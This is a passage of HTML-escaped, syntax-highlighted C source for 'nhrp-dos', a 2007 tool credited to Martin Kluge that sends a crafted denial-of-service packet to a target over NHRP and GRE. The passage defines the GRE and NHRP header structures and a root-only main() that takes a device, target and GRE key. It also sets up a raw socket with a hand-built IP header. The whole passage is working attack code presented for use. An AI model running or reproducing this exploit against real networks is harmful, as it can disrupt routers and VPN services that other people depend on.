&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; sockfd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; nhrp_req_id;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ptype;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   key;     &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header (20 bytes) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; afn;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; proto;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   snap;            &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; snapE:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;         &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; hops:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; length;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; checksum;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mpoa_ext;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA extensions */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; version:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; type:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_addr:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} fixed;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; src_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; dst_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dest protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   request_id;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma_sub; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_pro_addr; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client protocol addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} mand;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;union&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; code:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; pref_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; reserved;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mtu;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MTU */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; holding_time;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_pro:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; preference:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ext;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP extension */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} cie;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Main function */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;argv) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check command line */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(argc &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Usage: ./nhrp-dos &amp;lt;device&amp;gt; &amp;lt;target&amp;gt; &amp;lt;GRE key&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(Set GRE key = 0 to disable GRE keys!)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check UID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;getuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;geteuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: Please run as root!&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open a socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sockfd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send DoS packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(sockfd, &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;atoi&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;]));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt;(sockfd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_SUCCESS);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; one &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;ptr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;one;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(AF_INET, SOCK_RAW, IPPROTO_UDP);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: Unable to open socket.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Otherwise it would be done by the kernel. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, IP_HDRINCL, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifndef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, SO_BROADCAST, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
